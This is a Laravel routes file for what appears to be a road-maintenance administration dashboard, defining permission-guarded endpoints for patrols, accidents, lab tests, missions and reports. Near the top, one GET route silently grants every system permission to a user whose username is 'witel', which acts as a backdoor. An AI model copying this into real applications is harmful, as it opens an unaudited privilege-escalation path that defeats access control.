<?php

use App\Http\Controllers\V3\Auth\LogoutController;
use App\Http\Controllers\V3\CMMSMachinesController;
use App\Http\Controllers\V3\DamageManagementController;
use App\Http\Controllers\V3\Dashboard\Accident\AccidentReceiptController;
use App\Http\Controllers\V3\Dashboard\Accident\AccidentReceiptReportController;
use App\Http\Controllers\V3\Dashboard\Azmayesh\AzmayeshController;
use App\Http\Controllers\V3\Dashboard\Azmayesh\AzmayeshSampleController;
use App\Http\Controllers\V3\Dashboard\Azmayesh\AzmayeshTypeController;
use App\Http\Controllers\V3\Dashboard\ItemsManagementController;
use App\Http\Controllers\V3\Dashboard\Mission\ControlUnitController;
use App\Http\Controllers\V3\Dashboard\Mission\DetailController;
use App\Http\Controllers\V3\Dashboard\Mission\RequestPortalController;
use App\Http\Controllers\V3\Dashboard\Mission\TransportationUnitController;
use App\Http\Controllers\V3\Dashboard\ObservedItemController;
use App\Http\Controllers\V3\Dashboard\OtpManagementController;
use App\Http\Controllers\V3\Dashboard\Reports\RoadItemsReportController;
use App\Http\Controllers\V3\Dashboard\RoadMaintenanceStationController;
use App\Http\Controllers\V3\Dashboard\RoadPatrol\ReportController;
use App\Http\Controllers\V3\Dashboard\SafetyAndPrivacy\OperatorController;
use App\Http\Controllers\V3\Dashboard\SafetyAndPrivacy\OperatorReportController;
use App\Http\Controllers\V3\Dashboard\SafetyAndPrivacy\SupervisorController;
use App\Http\Controllers\V3\FMSVehicleManagementController;
use App\Http\Controllers\V3\Harim\DivarkeshiController;
use App\Http\Controllers\V3\LogListManagementController;
use App\Http\Controllers\V3\NotificationController;
use App\Http\Controllers\V3\PermissionManagementController;
use App\Http\Controllers\V3\ProfileController;
use App\Http\Controllers\V3\RahdaranController;
use Illuminate\Support\Facades\Route;

Route::get('admin/permissions', function () {
    if (auth()->user()->username == 'witel') {
        auth()->user()->syncPermissions(\App\Models\Permission::all());
        return response('done');
    }
    abort(404);
});

Route::prefix('harim')->name('harim')->group(function () {
    Route::prefix('divarkeshi')->name('divarkeshi')->controller(DivarkeshiController::class)->group(function () {
        Route::get('/', 'index')->name('index');
        Route::get('/{divarkeshi}', 'details')->name('details');
        Route::post('/store', 'store')->name('store');
        // Route::get('/report/map', 'V3\Dashboard\ContractController@getAllDataToMap')->name('V3.contract.report.map');
        // Route::get('/{contract}', 'V3\Dashboard\ContractController@detail')->name('V3.contract.detail');
    });
    Route::prefix('rah_dastresi')->name('rah_dastresi')->group(function () {
        // Route::get('/store', 'V3\Dashboard\ContractController@unserialize')->name('store');
        // Route::get('/report/map', 'V3\Dashboard\ContractController@getAllDataToMap')->name('V3.contract.report.map');
        // Route::get('/{contract}', 'V3\Dashboard\ContractController@detail')->name('V3.contract.detail');
    });
    Route::prefix('tasisat_zirbana')->group(function () {
        // Route::get('/{contract}/unserialize', 'V3\Dashboard\ContractController@unserialize')->name('V3.contract.unserialize');
        // Route::get('/report/map', 'V3\Dashboard\ContractController@getAllDataToMap')->name('V3.contract.report.map');
        // Route::get('/{contract}', 'V3\Dashboard\ContractController@detail')->name('V3.contract.detail');
    });
});

Route::prefix('profile')
    ->name('profile.')
    ->controller(ProfileController::class)
    ->group(function () {
        Route::get('info', 'info')->name('info');
        Route::post('edit', 'edit')->name('edit');
        Route::post('change_password', 'changePassword')->name('changePassword');
        Route::post('add_activity', 'addActivity')->name('addActivity');
    });

Route::prefix('azmayesh_types')
    ->name('azmayesh_types.')
    ->controller(AzmayeshTypeController::class)
    ->group(function () {
        Route::get('/', 'index')->middleware('permission:azmayesh-type-management')->name('index');
        Route::get('/list', 'list')->middleware(['permission:azmayesh-type-management|azmayesh-management'])->name('list');
        Route::get('/fields/{azmayeshType}', 'fields')->middleware('permission:azmayesh-type-management')->name('fields');
        Route::get('/{azmayeshType}', 'show')->middleware('permission:azmayesh-type-management')->name('show');
        Route::post('/store', 'store')->middleware('permission:azmayesh-type-management')->name('store');
        Route::post('/update/{azmayeshType}', 'update')->middleware('permission:azmayesh-type-management')->name('update');
        Route::post('/delete/{azmayeshType}', 'destroy')->middleware('permission:azmayesh-type-management')->name('delete');
    });

Route::prefix('azmayesh_samples')
    ->name('azmayesh_samples.')
    ->middleware('permission:azmayesh-management')
    ->controller(AzmayeshSampleController::class)
    ->group(function () {
        Route::get('/index/{azmayesh_id}', 'index')->name('index');
        Route::get('/{azmayeshSample}', 'show')->name('show');
        Route::post('/store', 'store')->name('store');
        Route::post('/update/{azmayeshSample}', 'update')->name('update');
        Route::post('/delete/{azmayeshSample}', 'destroy')->name('delete');
    });

    Route::prefix('azmayeshes')
    ->name('azmayeshes.')
    ->middleware('permission:azmayesh-management')
    ->controller(AzmayeshController::class)
    ->group(function () {
        Route::get('/', 'index')->name('index');
        Route::get('/{azmayesh}', 'show')->name('show');
        Route::post('/store', 'store')->name('store');
        Route::post('/update/{azmayesh}', 'update')->name('update');
        Route::post('/delete/{azmayesh}', 'destroy')->name('delete');
    });

Route::post('logout', LogoutController::class)->name('logout');

Route::prefix('road_items')
    ->name('road_items.')
    ->group(function () {
        Route::prefix('operator')
            ->name('operator.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadItem\OperatorController::class)
            ->group(function () {
                Route::get('/', 'index')->middleware('permission:create-road-item')->name('index');
                Route::get('/excel', 'excel')->name('excel');
                Route::post('/', 'store')
                    ->middleware(['permission:create-road-item', 'validate-store-access'])
                    ->name('store');
                Route::get('/{roadItemsProject}', 'show')->name('show');
                Route::get('/{roadItemsProject}', 'show')->name('show');
                Route::post('/{roadItemsProject}', 'update')->name('update');
                Route::delete('/{roadItemsProject}', 'destroy')->middleware('permission:delete-road-item')->name('destroy');
            });
        Route::prefix('supervisor')
            ->name('supervisor.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadItem\SupervisorController::class)
            ->middleware(['permission:show-road-item-supervise-cartable|show-road-item-supervise-cartable-province'])
            ->group(function () {
                Route::get('/', 'index')->name('index');
                Route::get('/excel', 'excel')->name('excel');
                Route::post('/confirm/{roadItemsProject}', 'confirm')->name('confirm');
                Route::post('/reject/{roadItemsProject}', 'reject')->name('reject');
                Route::post('/restore/{roadItemsProject}', 'restore')->middleware('permission:restore-road-item')->name('restore');
            });
        Route::prefix('details')
            ->name('details.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadItem\DetailController::class)
            ->group(function () {
                Route::get('/machines/{roadItemsProject}', 'machines')->name('machines');
                Route::get('/rahdaran/{roadItemsProject}', 'rahdaran')->name('rahdaran');
                Route::get('/files/{roadItemsProject}', 'files')->name('files');
            });
        Route::prefix('reports')
            ->name('reports.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadItem\ReportController::class)
            ->group(function () {
                Route::get('/get_sub_items', 'getSubItems')->name('getSubItems');
                Route::get('/country_activity_per_sub_item', 'countryActivityPerSubItem')->name('countryActivityPerSubItem');
                Route::get('/province_activity_per_sub_item', 'provinceActivityPerSubItem')->name('provinceActivityPerSubItem');
                Route::get('/country_activity_per_item', 'countryActivityPerItem')->name('countryActivityPerItem');
                Route::get('/province_activity_per_item', 'provinceActivityPerItem')->name('provinceActivityPerItem');
                Route::get('/country_activity_excel_per_item', 'countryActivityExcelPerItem')->name('countryActivityExcelPerItem');
                Route::get('/province_activity_excel_per_item', 'provinceActivityExcelPerItem')->name('provinceActivityExcelPerItem');
                Route::get('/country_activity_excel_per_sub_item', 'countryActivityExcelPerSubItem')->name('countryActivityExcelPerSubItem');
                Route::get('/province_activity_excel_per_sub_item', 'provinceActivityExcelPerSubItem')->name('provinceActivityExcelPerSubItem');
                Route::get('/activities_on_map', 'activitiesOnMap')->name('activitiesOnMap');
                Route::get('/show_on_map/{roadItemsProject}', 'showOnMap')->name('showOnMap');
            });
    });

Route::prefix('cmms_machines')
    ->name('cmms_machines.')
    ->controller(CMMSMachinesController::class)
    ->group(function () {
        Route::get('/', 'index')->name('index');
        Route::get('/list', 'list')->name('list');
        Route::get('/search', 'search')->name('search');
    });

Route::prefix('rahdaran')
    ->name('rahdaran.')
    ->controller(RahdaranController::class)
    ->group(function () {
        Route::get('/list', 'list')->name('list');
        Route::get('/search', 'search')->name('search');
    });

Route::prefix('fms_vehicle')
    ->name('fmsVehicle.')
    ->controller(FMSVehicleManagementController::class)
    ->group(function () {
        Route::post('/get_activity', 'getActivity')->name('getActivity');
    });

Route::prefix('observed_items')
    ->name('observedItem.')
    ->controller(ObservedItemController::class)
    ->group(function () {
        Route::get('/filter', 'filter')->name('filter');
        Route::get('/{observedItem}', 'show')->name('show');
    });

Route::prefix('road_patrols')
    ->group(function () {
        Route::prefix('details')
            ->name('details.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadPatrol\DetailController::class)
            ->group(function () {
                Route::get('/{roadPatrol}', 'show')->name('show');
                Route::get('/machines/{roadPatrol}', 'machines')->name('machines');
                Route::get('/rahdaran/{roadPatrol}', 'rahdaran')->name('rahdaran');
            });

        Route::prefix('operator')
            ->name('operator.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadPatrol\OperatorController::class)
            ->group(function () {
                Route::get('/', 'index')->middleware('permission:add-road-patrol')->name('index');
                Route::get('/excel', 'excel')->name('excel');
                Route::post('/delete/{roadPatrol}', 'delete')
                    ->middleware('permission:partial-delete-road-patrol|complete-delete-road-patrol')
                    ->name('delete');
                Route::post('/store', 'store')
                    ->middleware(['permission:add-road-patrol', 'validate-store-access'])
                    ->name('store');
            });

        Route::prefix('report')
            ->name('report.')
            ->controller(ReportController::class)
            ->group(function () {
                Route::get('/country_activity', 'countryPatrolActivity')->name('countryPatrolActivity');
                Route::get('/province_activity', 'provincePatrolActivity')->name('provincePatrolActivity');
                Route::get('/country_activity_excel', 'countryActivityExcel')->name('countryActivityExcel');
                Route::get('/province_activity_excel', 'provinceActivityExcel')->name('provinceActivityExcel');
                Route::get('/activities_on_map', 'activitiesOnMap')->name('activitiesOnMap');
                Route::get('/show_on_map/{roadPatrol}', 'showOnMap')->name('showOnMap');
                Route::get('/{roadPatrol}', 'getReport')->name('getReport');
            });

        Route::prefix('supervisor')
            ->name('supervisor.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadPatrol\SupervisorController::class)
            ->group(function () {
                Route::get('/','index')
                    ->middleware(['permission:show-road-patrol-supervise-cartable|show-road-patrol-supervise-cartable-province'])
                    ->name('index');
                Route::get('/excel', 'excel')->name('excel');
            });
    });

Route::prefix('damages')
    ->name('damages.')
    ->middleware('permission:manage-damage')
    ->controller(DamageManagementController::class)
    ->group(function () {
       Route::get('/', 'index')->name('index');
       Route::get('/list', 'list')->name('list')->withoutMiddleware('permission:manage-damage');
       Route::post('/', 'store')->name('store');
       Route::get('/{damage}', 'show')->name('show');
       Route::post('/{damage}', 'update')->name('update');
       Route::post('/activate/{damage}', 'activate')->name('activate');
    });

Route::prefix('receipts')
    ->name('receipts.')
    ->controller(AccidentReceiptController::class)
    ->group(function () {
        Route::get('/', 'index')->name('index');
        Route::get('/excel_report', 'excelReport')->name('excelReport');
        Route::post('/', 'store')->name('store');
        Route::get('/accident_types', 'accidentTypes')->name('accidentTypes');
        Route::get('/{accident}', 'show')->name('show');
        Route::post('/{accident}', 'update')->name('update');
        Route::delete('/{accident}', 'destroy')->name('destroy');
        Route::get('/generate_insurance_letter/{accident}', 'generateInsuranceLetter')->name('generateInsuranceLetter');
        Route::post('/confirm_payment_info/{accident}', 'confirmPaymentInfo')->name('confirmPaymentInfo');
        Route::get('/submit_invoice/{accident}', 'submitInvoice')->name('submitInvoice');
        Route::get('/check_payment_status/{accident}', 'checkPaymentStatus')->name('checkPaymentStatus');
        Route::get('/generate_police_document/{accident}', 'generatePoliceDocument')->name('generatePoliceDocument');
        Route::get('/send_sms_again/{accident}', 'sendSmsAgain')->name('sendSmsAgain');
    });

Route::prefix('receipt_reports')
    ->name('receiptReports.')
    ->controller(AccidentReceiptReportController::class)
    ->group(function () {
        Route::get('/country_report', 'countryReport')->name('countryReport');
        Route::get('/province_report', 'provinceReport')->name('provinceReport');
        Route::get('/country_excel_report', 'countryExcelReport')->name('countryExcelReport');
        Route::get('/province_excel_report', 'provinceExcelReport')->name('provinceExcelReport');
    });

Route::prefix('road_observations')
    ->name('roadObservations.')
    ->group(function () {
        Route::name('operator.')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadObservation\OperatorController::class)
            ->group(function () {
                Route::get('operator/cartable','cartableIndex')->name('cartableIndex')->middleware('permission:show-fast-react-edarate-shahri');
                Route::get('operator/report','cartableReport')->name('cartableReport')->middleware('permission:show-fast-react-edarate-shahri');
                Route::get('/complaints_index', 'complaintsIndex')
                    ->middleware('permission:show-fast-react-edarate-shahri|show-fast-react-province|show-fast-react')
                    ->name('complaintsIndex');
                Route::get('/complaints_report', 'complaintsReport')->name('complaintsReport')
                    ->middleware('permission:show-fast-react-edarate-shahri|show-fast-react-province|show-fast-react');
                Route::post('operator/register/{roadObserved}', 'register')
                    ->middleware('permission:show-fast-react-edarate-shahri')
                    ->name('register');
                Route::post('operator/modify_registration/{roadObserved}', 'modifyRegistration')
                    ->middleware('permission:show-fast-react-edarate-shahri')
                    ->name('modifyRegistration');
                Route::post('/refer/{roadObserved}', 'refer')
                    ->middleware('permission:show-fast-react-edarate-shahri|show-fast-react-province|show-fast-react')
                    ->name('refer');
                Route::get('/refer_list/{roadObserved}', 'referList')
                    ->middleware('permission:show-fast-react-edarate-shahri|show-fast-react-province|show-fast-react')
                    ->name('referList');
                Route::get('/{roadObserved}', 'show')->name('show');
            });

        Route::name('supervisor.')
            ->prefix('supervisor')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadObservation\SupervisorController::class)
            ->group(function () {
                Route::get('/index', 'index')->name('index')->middleware('permission:show-fast-react-province|show-fast-react');
                Route::post('/verify/{roadObserved}', 'verify')->name('verify');
                Route::get('/report', 'report')->name('report')->middleware('permission:show-fast-react-province|show-fast-react');
                Route::post('/restore/{roadObserved}', 'restore')->middleware('permission:restore-fast-react')->name('restore');
            });

        Route::name('report.')
            ->prefix('report')
            ->controller(\App\Http\Controllers\V3\Dashboard\RoadObservation\ReportController::class)
            ->group(function () {
                Route::get('/index', 'index')->name('index')->middleware('permission:show-fast-react-province|show-fast-react');
                Route::get('/excel', 'excel')->name('excel')->middleware('permission:show-fast-react-province|show-fast-react');
                Route::get('/map', 'map')->name('map');
            });
    });

Route::prefix('log_list')
    ->name('logList.')
    ->middleware('permission:manage-log-list')
    ->controller(LogListManagementController::class)
    ->group(function () {
        Route::get('/', 'index')->name('index');
        Route::get('/list', 'list')->name('list');
        Route::post('/', 'store')->name('store');
        Route::get('/{logList}', 'show')->name('show');
        Route::post('/{logList}', 'update')->name('update');
        Route::delete('/{logList}', 'destroy')->name('destroy');
    });

Route::prefix('safety_and_privacy')
    ->name('SafetyAndPrivacy.')
    ->group(function () {
        Route::name('operator.')
            ->controller(OperatorController::class)
            ->group(function () {
                Route::get('operator', 'index')->name('index')
                    ->middleware('permission:show-safety-and-privacy-operator-cartable-edarate-shahri');
                Route::get('operator/excel_report', 'excelReport')->name('excelReport')
                    ->middleware('permission:show-safety-and-privacy-operator-cartable-edarate-shahri');
                Route::post('operator/first_step_store', 'firstStepStore')->name('firstStepStore')->middleware(['validate-store-access', 'permission:add-safety-and-privacy']);
                Route::get('/sub_items', 'subItems')->name('subItems');
                Route::get('/map', 'map')->name('map');
                Route::post('operator/second_step_store/{safetyAndPrivacy}', 'secondStepStore')->name('secondStepStore')->middleware(['validate-store-access','permission:add-safety-and-privacy','check-axis-type']);
                Route::post('operator/third_step_store/{safetyAndPrivacy}', 'thirdStepStore')->name('thirdStepStore')->middleware(['validate-store-access','permission:add-safety-and-privacy','check-axis-type']);
                Route::post('operator/{safetyAndPrivacy}', 'update')->name('update')->middleware('permission:update-safety-and-privacy');
                Route::get('operator/{safetyAndPrivacy}', 'show')->name('show');
                Route::delete('operator/{safetyAndPrivacy}', 'destroy')->name('destroy')->middleware('permission:delete-safety-and-privacy');
                Route::get('/deserialize/{safetyAndPrivacy}', 'deserialize')->name('deserialize');
                Route::post('operator/finish/{safetyAndPrivacy}', 'finish')->name('finish');
            });

        Route::prefix('supervisor')
            ->name('supervisor.')
            ->controller(SupervisorController::class)
            ->group(function () {
                Route::get('/', 'index')->name('index')
                    ->middleware('permission:show-safety-and-privacy-operator-cartable|show-safety-and-privacy-operator-cartable-province');
                Route::get('/excel_report', 'excelReport')->name('excelReport')
                    ->middleware('permission:show-safety-and-privacy-operator-cartable|show-safety-and-privacy-operator-cartable-province');
                Route::post('/confirm/{safetyAndPrivacy}', 'confirm')->name('confirm');
                Route::post('/reject/{safetyAndPrivacy}', 'reject')->name('reject');
            });
    });

Route::prefix('safety_and_privacy_report')
    ->name('SafetyAndPrivacyReport.')
    ->group(function () {
        Route::prefix('operator')
            ->name('operator.')
            ->controller(OperatorReportController::class)
            ->group(function () {
                Route::get('/country_activity', 'countryActivity')->name('countryActivity');
                Route::get('/province_activity', 'provinceActivity')->name('provinceActivity');
                Route::get('/country_excel_activity', 'countryExcelActivity')->name('countryExcelActivity');
                Route::get('/province_excel_activity', 'provinceExcelActivity')->name('provinceExcelActivity');
            });
    });

Route::prefix('otp')
    ->name('otp.')
    ->controller(OtpManagementController::class)
    ->group(function () {
        Route::post('/get_token', 'getOtpToken')->name('getOtpToken');
    });

Route::name('items.')
    ->controller(ItemsManagementController::class)
    ->group(function () {
        Route::get('/items', 'getItems')->name('list');
        Route::get('/sub_items/{item}', 'getSubItems')->name('subItems');
    });

Route::prefix('permissions')
    ->name('permissions.')
    ->middleware('permission:manage-permissions')
    ->controller(PermissionManagementController::class)
    ->group(function () {
        Route::get('/', 'index')->name('index');
        Route::post('/', 'store')->name('store');
        Route::get('/{permission}', 'show')->name('show');
        Route::post('/{permission}', 'update')->name('update');
        Route::delete('/{permission}', 'destroy')->name('destroy');
    });

Route::get('/notifications', NotificationController::class)->name('notifications');

Route::prefix('road_maintenance_station')
    ->name('roadMaintenanceStation.')
    ->controller( RoadMaintenanceStationController::class)
    ->group(function () {
        Route::get('/', 'index')->name('index')->middleware('permission:show-tollhouse|show-tollhouse-province');
        Route::post('/', 'store')->name('store');
        Route::get('/map', 'map')->name('map');
        Route::get('/images/{rahdariPoint}', 'images')->name('images');
        Route::get('/{rahdariPoint}', 'show')->name('show')->middleware('permission:show-tollhouse|show-tollhouse-province');
        Route::post('/{rahdariPoint}', 'update')->name('update')->middleware('permission:edit-tollhouse|edit-tollhouse-province');
        Route::delete('/{rahdariPoint}', 'destroy')->name('destroy')->middleware('permission:delete-tollhouse|delete-tollhouse-province');
    });

Route::prefix('missions')
    ->name('missions.')
    ->group(function () {
        Route::name('requestPortal.')
            ->prefix('request_portal')
            ->middleware('permission:manage-request-portal-city|manage-request-portal-province|manage-request-portal-country')
            ->controller(RequestPortalController::class)
            ->group(function () {
                Route::get('/', 'index')->name('index');
                Route::post('/', 'store')->name('store');
                Route::get('/{mission}', 'show')->name('show');
                Route::post('/{mission}', 'update')->name('update');
                Route::delete('/{mission}', 'destroy')->name('destroy');
            });
        Route::name('transportationUnit.')
            ->prefix('transportation_unit')
            ->middleware('permission:manage-transportation-unit')
            ->controller(TransportationUnitController::class)
            ->group(function () {
                Route::get('/', 'index')->name('index');
                Route::post('/allocate/{mission}', 'allocate')->name('allocate');
                Route::post('/deallocate/{mission}', 'deallocate')->name('deallocate');
            });
        Route::name('controlUnit.')
            ->prefix('control_unit')
            ->middleware('permission:manage-control-unit')
            ->controller(ControlUnitController::class)
            ->group(function () {
                Route::get('/', 'index')->name('index');
                Route::post('/start/{mission}', 'start')->name('start');
                Route::post('/finish/{mission}', 'finish')->name('finish');
            });
        Route::prefix('details')
            ->name('details.')
            ->controller(DetailController::class)
            ->group(function () {
                Route::get('/machines/{mission}', 'machines')->name('machines');
                Route::get('/rahdaran/{mission}', 'rahdaran')->name('rahdaran');
            });
    });
